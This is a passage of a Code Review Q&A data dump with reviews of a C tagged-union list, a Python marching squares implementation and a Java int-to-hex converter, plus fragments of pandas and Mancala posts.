"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T10:50:42.473",
"Id": "489382",
"Score": "0",
"body": "Would you mind measuring the performance of my solution and JoshDawson's updated code? I'm interested to see the results. I'm perfectly fine if the performance of SO code meets your requirement and you prefer that solution over mine because of its conciseness. Meanwhile, I think that solution still has room for further improvements based on Code Review standards."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-20T05:11:30.557",
"Id": "249586",
"ParentId": "249474",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249481",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T05:38:25.207",
"Id": "249474",
"Score": "8",
"Tags": [
"python",
"performance",
"beginner",
"python-3.x",
"pandas"
],
"Title": "Priority based categorization using pandas/python"
}
|
249474
|
<p>Based on my googling around generic lists in C I stumbled upon tagged unions. What I wanted to create was a data structure that can hold <code>int</code>, <code>float</code>, <code>double</code> and <code>char</code>, all in one list. There is a function to add an item to which type information has to be passed. What I am unsure about: I read that casting <code>void</code> pointers is bad practice, but since I know the type of the variable the <code>void</code> pointer points to I think it's safe. The structure is kind of inspired by VBA recordsets, where the list has a cursor that tells the function where the record is to be inserted. The actual data is stored within an array of structs inside of a struct. The outside struct contains cursor and length information.</p>
<p><strong>Questions:</strong></p>
<ol>
<li>Possibly unsafe?</li>
<li>If adding a new item fails, the cursor is incremented regardless - I don't know how to implement a check for successful insert of the record.</li>
<li>Code contains <code>switch</code>es that depend on type information; there may be a more efficient way to handle different types.</li>
<li>I am unsure about the best way to allocate the outer list struct - do I define it first, then pass to a function to allocate or do I define and allocate inside of a function, returning a pointer? Right know, I use the latter.</li>
<li>I reallocate the list array by doubling its allocated size; for a large list, this will be inefficient I guess?</li>
<li>I am unsure what the best way to address the items of the <code>my_list_elem</code> in the array of structs in the outer struct, <code>my_list</code>, is.</li>
</ol>
<p><strong>Code:</strong></p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_LIST_LENGTH 5
//an actual list element, contains type information
typedef struct list_elem {
enum {is_int = 1, is_float, is_double, is_char} type;
union {
int i_val;
float f_val;
double d_val;
char* c_val;
} value;
} my_list_elem;
/* list container, contains array of list elements
as well as cursor and length of list
*/
typedef struct list {
my_list_elem *element;
unsigned int length; //number of elements, not bytes
unsigned int cursor;
} my_list;
//allocate a new my_list and return pointer
my_list * alloc_list() {
my_list *in_list = malloc(sizeof(my_list));
in_list->element = malloc(sizeof(my_list_elem) * DEFAULT_LIST_LENGTH);
in_list->length = DEFAULT_LIST_LENGTH;
in_list->cursor = 0;
return in_list;
}
//add new element to list
void add_element(my_list *dest, void *in_value, const int type) {
unsigned int tmp_cursor = 0;
tmp_cursor = dest->cursor;
//double list size if not big enough, to reduce number of realloc calls
if(tmp_cursor == dest->length) {
dest->element = realloc(dest->element, dest->length * sizeof(my_list_elem) * 2);
dest->length *= 2;
}
(dest->element[tmp_cursor]).type = type;
switch(type) {
case is_int:
(dest->element[tmp_cursor]).value.i_val = *(int *)in_value;
break;
case is_float:
(dest->element[tmp_cursor]).value.f_val = *(float *)in_value;
break;
case is_double:
(dest->element[tmp_cursor]).value.d_val = *(double *)in_value;
break;
case is_char:
(dest->element[tmp_cursor]).value.c_val = (char *)in_value;
break;
}
dest->cursor += 1;
}
//free list
void free_list(my_list *in_list) {
free(in_list->element);
free(in_list);
}
//print list report (total list)
void print_report(my_list* src) {
printf("Current stats of list: \n");
printf("========================\n");
printf("Current cursor: %d\n",src->cursor);
printf("Length (allocated): %d\n", src->length);
printf("========================\n");
for(int i = 0; i < src->cursor ; i++) {
switch(src->element[i].type) {
case is_int:
printf("Type: %d Value: %d\n", src->element[i].type, src->element[i].value.i_val);
break;
case is_float:
printf("Type: %d Value: %f\n", src->element[i].type, src->element[i].value.f_val);
break;
case is_double:
printf("Type: %d Value: %lf\n", src->element[i].type, src->element[i].value.d_val);
break;
case is_char:
printf("Type: %d Value: %s\n", src->element[i].type, src->element[i].value.c_val);
break;
}
}
printf("\n\nEND.\n");
}
int main()
{
my_list *new_list = alloc_list();
int my_val = 45;
void *ptr_my_val = &my_val;
add_element(new_list,ptr_my_val,1);
char *ptr_my_string = "TEST";
add_element(new_list, ptr_my_string, 4);
double my_double = 0.56843;
double* ptr_my_double = &my_double;
add_element(new_list, ptr_my_double, 3);
print_report(new_list);
free(new_list);
return 0;
}
</code></pre>
<p>Tried it using <a href="https://onlinegdb.com/rk-fpdxBP" rel="nofollow noreferrer">OnlineGDB</a>, works fine.</p>
<p>If anyone answers this post: thanks in advance, you're really helping me learn!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T06:27:08.640",
"Id": "489084",
"Score": "2",
"body": "Welcome to CodeReview@SE. `Tried it using OnlineGDB, works fine.` next thing would automated [unit tests](http://cunit.sourceforge.net/)."
}
] |
[
{
"body": "<h2>General Observations and Answers</h2>\n<p>Welcome to Code Review, this is a pretty good first question, definitely well focused. The structure of the program is pretty good and the functions seem to follow the Single Responsibility Principle.</p>\n<p>It might be better if <code>Problems:</code> was either <code>Questions:</code> or <code>Possible Issues:</code>, to some users <code>Problems:</code> would indicate the code isn't working as expected.</p>\n<p>One of the problems with free online compilers is that they may not report all warning messages, the following line has a type mismatch between <code>int</code> <code>and unsigned</code>:</p>\n<pre><code> for (int i = 0; i < src->cursor; i++) {\n</code></pre>\n<p>since <code>i</code> is declared as int. You might want to use <code>size_t</code> for both.</p>\n<blockquote>\n<ol>\n<li>Possibly unsafe?</li>\n</ol>\n</blockquote>\n<p>In most modern programing languages such as C# and VBA memory management is handled for you, this isn't the case in C or C++. In C (not C++, C++ throws an exception when memory allocation fails) the use of any of the memory allocation functions (<code>malloc()</code>, <code>calloc()</code> and <code>realloc()</code>) may fail. While memory allocation failure is rare these days due to the larger memories most processors contain it can still occur, especially on embedded systems with limited memory. If the memory allocation fails the value of the pointer returned from the function is NULL and reference through a NULL pointer causes <code>Undefined Behavior</code>. Sometimes this is easy to detect because it causes a <code>Segmentation Violation</code>, other times it is very hard to detect because it corrupts the memory. In all cases memory allocation should be followed by a test of the pointer value returned:</p>\n<pre><code>My_List* alloc_list() {\n My_List* in_list = malloc(sizeof(My_List));\n if (in_list == NULL)\n {\n fprintf(stderr, "Memory allocation for in_list failed in alloc_list()\\n");\n return NULL;\n }\n\n in_list->element = malloc(sizeof(My_List_Elem) * DEFAULT_LIST_LENGTH);\n if (in_list->element == NULL)\n {\n fprintf(stderr, "Memory allocation for in_list->element failed in alloc_list()\\n");\n return NULL;\n }\n\n in_list->length = DEFAULT_LIST_LENGTH;\n in_list->cursor = 0;\n\n return in_list;\n}\n\nint main()\n{\n My_List* new_list = alloc_list();\n if (new_list == NULL)\n {\n return EXIT_FAILURE;\n }\n\n ...\n\n free_list(new_list);\n\n return EXIT_SUCCESS;\n}\n</code></pre>\n<p>The macros <code>EXIT_FAILURE</code> and <code>EXIT_SUCCESS</code> are standard C macros defined in <code>stdlib.h</code> and make the code easier to read and maintain.</p>\n<p>The preceding code should answer <code>Problem :4</code>.</p>\n<p><em>The unused function <code>free_list()</code> should be used otherwise there is a memory leak.</em></p>\n<blockquote>\n<ol start=\"2\">\n<li>If adding a new item fails, the cursor is incremented regardless - I don't know how to implement a check for successful insert of the record.</li>\n</ol>\n</blockquote>\n<p>This is a feature request and that is off-topic for code review, however, if the code returns from the function <code>add_element()</code> early in the case of an error the cursor won't be updated.</p>\n<blockquote>\n<ol start=\"3\">\n<li>Code contains <code>switch</code>es that depend on type information; there may be a more efficient way to handle different types.</li>\n</ol>\n</blockquote>\n<p>When you use <code>switch</code> statements coupled with with enums it is always a good idea to provide a <code>default:</code> case that will handle an unknow enum type:</p>\n<pre><code> switch (type) {\n case is_int:\n (dest->element[tmp_cursor]).value.i_val = *(int*)in_value;\n break;\n case is_float:\n (dest->element[tmp_cursor]).value.f_val = *(float*)in_value;\n break;\n case is_double:\n (dest->element[tmp_cursor]).value.d_val = *(double*)in_value;\n break;\n case is_char:\n (dest->element[tmp_cursor]).value.c_val = (char*)in_value;\n break;\n default:\n printf("Unknown type in function add_element\\n");\n break;\n }\n</code></pre>\n<p>A possibly more efficient as well as expandable way is to have an array of one line functions that take <code>in_value</code> and the <code>dest</code> pointer and perform the proper storage operation.</p>\n<blockquote>\n<ol start=\"4\">\n<li>I am unsure about the best way to allocate the outer list struct - do I define it first, then pass to a function to allocate or do I define and allocate inside of a function, returning a pointer? Right know, I use the latter.</li>\n</ol>\n</blockquote>\n<p>There are benefits to both, one saves some memory allocation(not much) and one doesn't, the code is fine the way it is.</p>\n<blockquote>\n<ol start=\"5\">\n<li>I reallocate the list array by doubling its allocated size; for a large list, this will be inefficient I guess?</li>\n</ol>\n</blockquote>\n<p>This is fine, sometimes 1.5 is used rather than 2, but overall this is efficient. I would use a symbolic constant (macro) rather than a hard coded <code>2</code> to make this more readable and easier to maintain.</p>\n<blockquote>\n<ol start=\"6\">\n<li>I am unsure what the best way to address the items of the <code>my_list_elem</code> in the array of structs in the outer struct, <code>my_list</code>, is.</li>\n</ol>\n</blockquote>\n<p>This question is unclear and if it is a feature request it is off-topic.</p>\n<h2>ENUMS</h2>\n<p>The numerical value of an enum type generally starts at zero rather than one (this is the default if you don't specify it), if you want to use an array indexed by enums as I suggested above then starting with zero would be better.</p>\n<p>Due to the fact that the enum <code>type</code> is declared in the struct <code>my_list_elem</code> rather than having it's own <code>typedef</code> the enum can't easily be used as a type and that would make the code more readable and easier to maintain.</p>\n<pre><code>typedef enum My_Type\n{\n TYPE_INT,\n TYPE_FLOAT,\n TYPE_DOUBLE,\n TYPE_CHAR\n} My_Type;\n\ntypedef struct list_elem {\n My_Type type;\n union {\n int i_val;\n float f_val;\n double d_val;\n char* c_val;\n } value;\n} My_List_Elem;\n\nvoid add_element(My_List* dest, void* in_value, const My_Type type) {\n unsigned int tmp_cursor = 0;\n tmp_cursor = dest->cursor;\n\n //double list size if not big enough, to reduce number of realloc calls\n if (tmp_cursor == dest->length) {\n dest->element = realloc(dest->element, dest->length * sizeof(My_List_Elem) * 2);\n dest->length *= 2;\n }\n\n (dest->element[tmp_cursor]).type = type;\n switch (type) {\n case TYPE_INT:\n (dest->element[tmp_cursor]).value.i_val = *(int*)in_value;\n break;\n case TYPE_FLOAT:\n (dest->element[tmp_cursor]).value.f_val = *(float*)in_value;\n break;\n case TYPE_DOUBLE:\n (dest->element[tmp_cursor]).value.d_val = *(double*)in_value;\n break;\n case TYPE_CHAR:\n (dest->element[tmp_cursor]).value.c_val = (char*)in_value;\n break;\n default:\n printf("Unknown type in function add_element\\n");\n break;\n }\n\n dest->cursor += 1;\n}\n</code></pre>\n<p>Capitalize your created types so they are easily identified as shown above.</p>\n<h2>Answer Update Based on Comments</h2>\n<p>As noted in the comments, you can de-reference the elements like this</p>\n<pre><code>void add_element(My_List* dest, void* in_value, const My_Type type) {\n\n //double list size if not big enough, to reduce number of realloc calls\n if (dest->cursor == dest->length) {\n dest->element = realloc(dest->element, dest->length * sizeof(My_List_Elem) * 2);\n dest->length *= 2;\n }\n\n My_List_Elem* current_element = &dest->element[dest->cursor];\n\n current_element->type = type;\n switch (type) {\n case TYPE_INT:\n current_element->value.i_val = *(int*)in_value;\n break;\n case TYPE_FLOAT:\n current_element->value.f_val = *(float*)in_value;\n break;\n case TYPE_DOUBLE:\n current_element->value.d_val = *(double*)in_value;\n break;\n case TYPE_CHAR:\n current_element->value.c_val = (char*)in_value;\n break;\n default:\n printf("Unknown type in function add_element\\n");\n break;\n }\n\n dest->cursor += 1;\n}\n</code></pre>\n<p>It could be de-referenced more or less to make maintenance easier.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T15:27:49.610",
"Id": "489140",
"Score": "0",
"body": "Thanks for the very detailed answer. If there are no more answers in a couple of hours, I will mark it as accepted. What I meant in \"problem\" 6 is: \"Is ```dest->element[tmp_cursor]).value.i_val``` a safe way to adress the union members in the struct? I know it could segfault if the cursor value isn't correct, but what else might go wrong?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:09:10.913",
"Id": "489157",
"Score": "1",
"body": "You can wait a day or 2 to accept. Working on an answer for # 6"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:28:57.153",
"Id": "489160",
"Score": "1",
"body": "You can use more temporary variables in that function to reduce the complexity of the statement `my_list_elem *tmp_elements = dest->element;` Then treat tmp_elements as an array. `tmp_elements[tmp_cursor].value.ival` This might actually improve performance, it will definitely improve performance in `print_report`. A second option also includes de-referencing it even more `my_list_elem *current_element = dest->element[tmp_cursor];` and just use that pointer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T19:38:21.027",
"Id": "489161",
"Score": "0",
"body": "Some finetuning is always possible, but at least there appear to be no gross errors in this method. Thanks!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T21:23:35.260",
"Id": "489171",
"Score": "0",
"body": "Rather than code `realloc(dest->element, dest->length * sizeof(My_List_Elem) * 2)`, consider sizing to the referenced object `realloc(dest->element, dest->length * sizeof \n *(dest->length) * 2)`. Less like to code wrong, easier to review and maintain."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T13:42:01.090",
"Id": "249496",
"ParentId": "249476",
"Score": "3"
}
},
{
"body": "<p>regarding;</p>\n<pre><code>typedef struct list \n{\n my_list_elem *element;\n unsigned int length; //number of elements, not bytes\n unsigned int cursor;\n} my_list;\n</code></pre>\n<p>and</p>\n<pre><code>for(int i = 0; i < src->cursor ; i++) {\n</code></pre>\n<p>The <code>src->cursor</code> is an <code>unsigned</code> type, but the <code>for()</code> statement is comparing it to a <code>signed</code> type. Usually this will have the desired results, but it is much better to change the <code>for()</code> statement to:</p>\n<pre><code>for( unsigned i = 0; i < src->cursor; i++ ) {\n</code></pre>\n<p>when compiling, always enable the warnings, then fix those warnings for <code>gcc</code>, at a minimum, use:</p>\n<pre><code>-Wall -Wextra -Wconversion -pedantic -std-gnu11\n</code></pre>\n<p>regarding:</p>\n<pre><code>dest->element = realloc(dest->element, dest->length * sizeof(my_list_elem) * 2);\n</code></pre>\n<p>Never directly assign the returned value from <code>realloc()</code> to the target pointer. WHEN <code>realloc()</code> fails, the original pointer will be lost, resulting in a memory leak. Suggest:</p>\n<pre><code>void temp = realloc(dest->element, dest->length * sizeof(my_list_elem) * 2);\nif( !temp ) {\n // then realloc failed\n perror( "realloc failed" );\n // cleanup\n exit( EXIT_FAILURE );\n}\n\n// implied else, realloc successful\n\ndest->element = temp;\n</code></pre>\n<p>regarding statements like:</p>\n<pre><code>my_list *in_list = malloc(sizeof(my_list));\n</code></pre>\n<p>always check <code>(!=NULL)</code> the returned value to assure the operation was successful.</p>\n<pre><code>if( !in_list ) {\n // malloc failed\n perror( "malloc failed" );\n exit( EXIT_FAILURE );\n}\n\n// implied else, malloc successful\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T02:41:37.037",
"Id": "249522",
"ParentId": "249476",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249496",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T06:10:01.220",
"Id": "249476",
"Score": "3",
"Tags": [
"c"
],
"Title": "Semi-generic non-linked list using structs: Safety concerns"
}
|
249476
|
<p>The following source code is a solution to the <a href="https://en.wikipedia.org/wiki/Marching_squares" rel="nofollow noreferrer">Marching Square</a> problem.</p>
<p>The explanation of using random numbers in ambiguous cases <a href="https://stackoverflow.com/q/62868990/159072">can be found here</a>.</p>
<pre><code>import numpy as np
from PIL import Image, ImageDraw
im = Image.new('RGB', (500, 300), (128, 128, 128))
draw = ImageDraw.Draw(im)
class Square():
A = [0,0];
B = [0,0];
C = [0,0];
D = [0,0];
A_data = 0.0;
B_data = 0.0;
C_data = 0.0;
D_data = 0.0;
def GetCaseId(self, threshold):
caseId = 0;
if (self.A_data >= threshold):
caseId |= 1;
if (self.B_data >= threshold):
caseId |= 2;
if (self.C_data >= threshold):
caseId |= 4;
if (self.D_data >= threshold):
caseId |= 8;
return caseId;
def GetLines(self, Threshold):
linesList = [];
caseId = self.GetCaseId(Threshold);
if (caseId == 0):
pass;
if (caseId == 15) :
pass;
if ((caseId == 1) or (caseId == 14)):
pX = self.B[0] + (self.A[0] - self.B[0]) * ((1 - self.B_data) / (self.A_data - self.B_data));
pY = self.B[1];
qX = self.D[0];
qY = self.D[1] + (self.A[1] - self.D[1]) * ((1 - self.D_data) / (self.A_data - self.D_data));
line = (pX, pY, qX, qY);
linesList.append(line);
if ((caseId == 2) or (caseId == 13)):
pX = self.A[0] + (self.B[0] - self.A[0]) * ((1 - self.A_data) / (self.B_data - self.A_data));
pY = self.A[1];
qX = self.C[0];
qY = self.C[1] + (self.B[1] - self.C[1]) * ((1 - self.C_data) / (self.B_data - self.C_data));
line = (pX, pY, qX, qY);
linesList.append(line);
if ((caseId == 3) or (caseId == 12)):
pX = self.A[0];
pY = self.A[1] + (self.D[1] - self.A[1]) * ((1 - self.A_data) / (self.D_data - self.A_data));
qX = self.C[0];
qY = self.C[1] + (self.B[1] - self.C[1]) * ((1 - self.C_data) / (self.B_data - self.C_data));
line = (pX, pY, qX, qY);
linesList.append(line);
if ((caseId == 4) or (caseId == 11)):
pX = self.D[0] + (self.C[0] - self.D[0]) * ((1 - self.D_data) / (self.C_data - self.D_data));
pY = self.D[1];
qX = self.B[0];
qY = self.B[1] + (self.C[1] - self.B[1]) * ((1 - self.B_data) / (self.C_data - self.B_data));
line = (pX, pY, qX, qY);
linesList.append(line);
if ((caseId == 6) or (caseId == 9)):
pX = self.A[0] + (self.B[0] - self.A[0]) * ((1 - self.A_data) / (self.B_data - self.A_data));
pY = self.A[1];
qX = self.C[0] + (self.D[0] - self.C[0]) * ((1 - self.C_data) / (self.D_data - self.C_data));
qY = self.C[1];
line = (pX, pY, qX, qY);
linesList.append(line);
if ((caseId == 7) or (caseId == 8)):
pX = self.C[0] + (self.D[0] - self.C[0]) * ((1 - self.C_data) / (self.D_data - self.C_data));
pY = self.C[1];
qX = self.A[0];
qY = self.A[1] + (self.D[1] - self.A[1]) * ((1 - self.A_data) / (self.D_data - self.A_data));
line = (pX, pY, qX, qY);
linesList.append(line);
if (caseId == 5):
pX1 = self.A[0] + (self.B[0] - self.A[0]) * ((1 - self.A_data) / (self.B_data - self.A_data));
pY1 = self.A[1];
qX1 = self.C[0];
qY1 = self.C[1] + (self.B[1] - self.C[1]) * ((1 - self.C_data) / (self.B_data - self.C_data));
line1 = (pX1, pY1, qX1, qY1);
pX2 = self.C[0] + (self.D[0] - self.C[0]) * ((1 - self.C_data) / (self.D_data - self.C_data));
pY2 = self.C[1];
qX2 = self.A[0];
qY2 = self.A[1] + (self.D[1] - self.A[1]) * ((1 - self.A_data) / (self.D_data - self.A_data));
line2 = (pX2, pY2, qX2, qY2);
linesList.append(line1);
linesList.append(line2);
if (caseId == 10):
pX1 = self.B[0] + (self.A[0] - self.B[0]) * ((1 - self.B_data) / (self.A_data - self.B_data));
pY1 = self.B[1];
qX1 = self.D[0];
qY1 = self.D[1] + (self.A[1] - self.D[1]) * ((1 - self.D_data) / (self.A_data - self.D_data));
line1 = (pX1, pY1, qX1, qY1);
pX2 = self.D[0] + (self.C[0] - self.D[0]) * ((1 - self.D_data) / (self.C_data - self.D_data));
pY2 = self.D[1];
qX2 = self.B[0];
qY2 = self.B[1] + (self.C[1] - self.B[1]) * ((1 - self.B_data) / (self.C_data - self.B_data));
line2 = (pX2, pY2, qX2, qY2);
linesList.append(line1);
linesList.append(line2);
return linesList;
def marching_square(xVector, yVector, Data, threshold):
linesList = [];
Height = Data.shape[0];#rows
Width = Data.shape[1];#cols
if ((Width == len(xVector)) and (Height == len(yVector))):
squares = np.full((Height-1, Width-1), Square())
sqHeight = squares.shape[0];#rows count
sqWidth = squares.shape[1];#cols count
for j in range(sqHeight):#rows
for i in range(sqWidth):#cols
a = Data[j + 1, i];
b = Data[j + 1, i + 1];
c = Data[j, i + 1];
d = Data[j, i];
squares[j,i].A_data = a;
squares[j,i].B_data = b;
squares[j,i].C_data = c;
squares[j,i].D_data = d;
A = [xVector[i], yVector[j + 1]];
B = [xVector[i + 1], yVector[j + 1]];
C = [xVector[i + 1], yVector[j]];
D = [xVector[i], yVector[j]];
squares[j,i].A = A;
squares[j,i].B = B;
squares[j,i].C = C;
squares[j,i].D = D;
list = squares[j,i].GetLines(threshold);
linesList = linesList + list;
else:
raise AssertionError;
return [linesList];
def main():
example = np.array([
[ 0,0, 0, 0, 0, 0,0,0,0,0,0],
[ 0,0, 1, 1, 1, 0,0,1,1,1,0 ],
[ 0,1, 0, 0, 0, 1,1,0,0,0,1 ],
[ 0,0, 1, 0, 1, 0,0,1,0,0,1 ],
[ 0,0, 0, 1, 0, 0,0,0,1,1,0 ]
]);
x = [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100];
y = [0, 10, 20, 30, 40];
collection = marching_square(x, y, example, 1);
for ln in collection:
for toup in ln:
draw.line(toup, fill=(255, 255, 0), width=5)
im.save('output.jpg', quality=95)
main()
</code></pre>
<p>Can someone kindly review this?</p>
<hr />
|
[] |
[
{
"body": "<h2>Style</h2>\n<p>Please run your code through a style checker such as</p>\n<p><a href=\"http://pep8online.com/\" rel=\"nofollow noreferrer\">http://pep8online.com/</a></p>\n<p>In particular your lines should not end in <code>;</code> and you don't need <code>()</code> for if checks.</p>\n<p>Also a better code editor would give you hints while writing code to improve and fix style errors and other mistakes. See some suggestions here <a href=\"https://www.guru99.com/python-ide-code-editor.html\" rel=\"nofollow noreferrer\">https://www.guru99.com/python-ide-code-editor.html</a></p>\n<h2>Repetition</h2>\n<pre><code>A_data = 0.0;\nB_data = 0.0;\nC_data = 0.0;\nD_data = 0.0;\n</code></pre>\n<p>Since these are built-ins "primitives" This can be written as\n<code>A_data = B_data = C_data = D_data = 0.0;</code></p>\n<p>However, don't do this with the lists <code>A</code> <code>B</code> <code>C</code> and <code>D</code> above, since they would then all refer to the same list object.</p>\n<h2>Repetition 2</h2>\n<pre><code>if (caseId == 0):\n pass;\nif (caseId == 15) :\n pass;\n</code></pre>\n<p>Python does not need parenthesis for <code>if</code>, and it would be more natural to use <code>or</code> like this</p>\n<pre><code>if caseId == 0 or caseId == 15:\n pass\n</code></pre>\n<p>But when the same value is compared with several, a list check is even shorter (better the more values you compare to)</p>\n<pre><code>if caseId in [0, 15]:\n pass\n</code></pre>\n<p>The same applies to your other <code>if</code>s</p>\n<pre><code>if ((caseId == 1) or (caseId == 14)):\n</code></pre>\n<p>Can be rewritten into</p>\n<pre><code>if caseId in [1, 14]:\n</code></pre>\n<h2>Repetition 3</h2>\n<pre><code> if ((caseId == 1) or (caseId == 14)):\n pX = self.B[0] + (self.A[0] - self.B[0]) * ((1 - self.B_data) / (self.A_data - self.B_data));\n pY = self.B[1];\n qX = self.D[0];\n qY = self.D[1] + (self.A[1] - self.D[1]) * ((1 - self.D_data) / (self.A_data - self.D_data));\n</code></pre>\n<p>You have so much repetition in your many cases here that there is surely possible refactorings that can be made to shorten this code and make it simpler, but it would take more time than I have to look closely through it.</p>\n<h2>Update</h2>\n<pre><code>line = (pX, pY, qX, qY);\nlinesList.append(line);\n</code></pre>\n<p>In each case you're appending the <code>line</code> variable after creating it, but not doing anything else with the <code>line</code>. So you don't need to use two lines of code for this, just append the expression directly.</p>\n<pre><code>linesList.append((pX, pY, qX, qY))\n</code></pre>\n<p>But there is more.</p>\n<p>All these <code>if</code>s are mutually exclusive. You only ever hit one of them and you don't use <code>linesList</code> for anything further, so it makes more sense and makes the code clearer to just return the linesList right away in each case. By doing an early return, you're separating each of the cases and making it clear that I don't need to see the rest of the cases once I hit one of them.</p>\n<p>This also means that <code>linesList</code>, just like <code>line</code>, is an unnecessary variable. We can just return the expression without either of those variables.</p>\n<pre><code>return [(pX, pY, qX, qY)]\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T10:39:52.167",
"Id": "249534",
"ParentId": "249477",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T06:38:43.533",
"Id": "249477",
"Score": "3",
"Tags": [
"python",
"algorithm"
],
"Title": "Marching Square algorithm (2)"
}
|
249477
|
<p>I have rolled my own Java method for converting <code>int</code>s to the hexadecimal <code>String</code>s:</p>
<pre><code>import java.util.Arrays;
import java.util.Random;
public class Main {
/**
* Converts the input integer into its textual hexadecimal representation.
*
* @param a the integer to convert.
* @return the string representing {@code a} in hexadecimal notation.
*/
public static String intToHexString(int a) {
StringBuilder stringBuilder = new StringBuilder(Integer.BYTES * 2);
boolean inLeadingZeros = true;
while (a != 0) {
char digit = toHexChar(a & 0xf);
a >>>= 4;
if (inLeadingZeros) {
if (digit != 0) {
inLeadingZeros = false;
stringBuilder.append(digit);
}
} else {
stringBuilder.append(digit);
}
}
if (inLeadingZeros) {
return "0";
}
return stringBuilder.reverse().toString();
}
// Converts the integer digit to its textual hexadecimal representation:
private static char toHexChar(int digit) {
return digit >= 0 && digit < 10 ?
(char)(digit + '0') :
(char)(digit - 10 + 'a');
}
private static final int ITERATIONS = 10_000_000;
private static final int WARMUP_ITERATIONS = 10_000_000;
private static void warmup() {
System.out.println("Warming up...");
Random random = new Random();
for (int i = 0; i < WARMUP_ITERATIONS; i++) {
int a = random.nextInt();
intToHexString(a);
Integer.toHexString(a);
}
System.out.println("Warming up done.");
}
private static void benchmark() {
long seed = System.nanoTime();
Random random = new Random(seed);
System.out.println("Seed = " + seed);
int[] inputArray = new int[ITERATIONS];
String[] outputArray1 = new String[inputArray.length];
String[] outputArray2 = new String[inputArray.length];
for (int i = 0; i < inputArray.length; i++) {
inputArray[i] = random.nextInt();
}
// Benchmarking intToHexString:
long startTime = System.nanoTime();
for (int i = 0; i < ITERATIONS; i++) {
outputArray1[i] = intToHexString(inputArray[i]);
}
long endTime = System.nanoTime();
System.out.println(
"intToHexString in " +
((endTime - startTime) / 1000_000) +
" milliseconds.");
// Benchmarking Integer.toHexString:
startTime = System.nanoTime();
for (int i = 0; i < ITERATIONS; i++) {
outputArray2[i] = Integer.toHexString(inputArray[i]);
}
endTime = System.nanoTime();
System.out.println(
"Integer.toHexString in " +
((endTime - startTime) / 1000_000) +
" milliseconds.");
System.out.println("Methods agree: " + Arrays.equals(outputArray1,
outputArray2));
}
public static void main(String[] args) {
warmup();
benchmark();
}
}
</code></pre>
<p><strong>Sample output</strong>
<code>
Warming up...
Warming up done.
Seed = 1290249323142300
intToHexString in 1041 milliseconds.
Integer.toHexString in 562 milliseconds.
Methods agree: true
</code></p>
<p><em><strong>Critique request</strong></em></p>
<p>Please tell me anything that comes to mind.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T11:49:26.503",
"Id": "489115",
"Score": "1",
"body": "I see that you tagged it correctly with reinventing-the-wheel, but what is wrong with `Integer.toHexString()`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T11:52:01.377",
"Id": "489117",
"Score": "0",
"body": "@mtj Nothing, I just wanted to compare the running times of the two methods."
}
] |
[
{
"body": "<ul>\n<li>inLeadingZeros I find dubious; wrong name probably</li>\n<li>0x00_00_03_44 would be output as "344" whereas conventional would be a two-fold "0344" (or even interspaced as "03 44"). The reason that from left-to-right one can create a byte by two chars.</li>\n<li>The exceptional case probably can be dealt with in front.</li>\n<li>Error <code>if (digit != 0) {</code> should be <code>if (digit != '0') {</code> or something else is meant.</li>\n<li>toHexChar still expects an int digit 0..10. So probably a semantic clash.</li>\n<li><code>a</code> as parameter name is unfortunate especially in English; <code>num</code> or <code>n</code> is more clear.</li>\n</ul>\n<p>I am uncertain whether your code is correct by just reading it, due to the variable & if.</p>\n<pre><code>/**\n * Converts the given integer into its textual hexadecimal representation.\n * \n * @param num the integer to convert.\n * @return the string representing {@code num} in hexadecimal notation.\n */\npublic static String intToHexString(int num ) {\n if (num == 0) {\n return "00";\n }\n \n StringBuilder stringBuilder = new StringBuilder(Integer.BYTES * 2);\n while (num != 0) {\n char digit = toHexChar(num & 0xf);\n num >>>= 4;\n stringBuilder.append(digit);\n\n digit = toHexChar(num & 0xf);\n num >>>= 4;\n stringBuilder.append(digit);\n }\n return stringBuilder.reverse().toString();\n}\n\n// Converts the integer digit to its textual hexadecimal representation:\nprivate static char toHexChar(int digit) {\n return 0 <= digit && digit < 10 ? \n (char)(digit + '0') :\n (char)(digit - 10 + 'a');\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T11:42:22.940",
"Id": "249491",
"ParentId": "249484",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249491",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T09:57:24.523",
"Id": "249484",
"Score": "2",
"Tags": [
"java",
"strings",
"reinventing-the-wheel",
"integer"
],
"Title": "Converting an integer to a hexadecimal string representation in Java"
}
|
249484
|
<p>This is my iterative deepening alpha beta minimax algorithm for a two player game called Mancala, see <a href="https://endlessgames.com/wp-content/uploads/Mancala_Instructions.pdf" rel="nofollow noreferrer">rules</a></p>
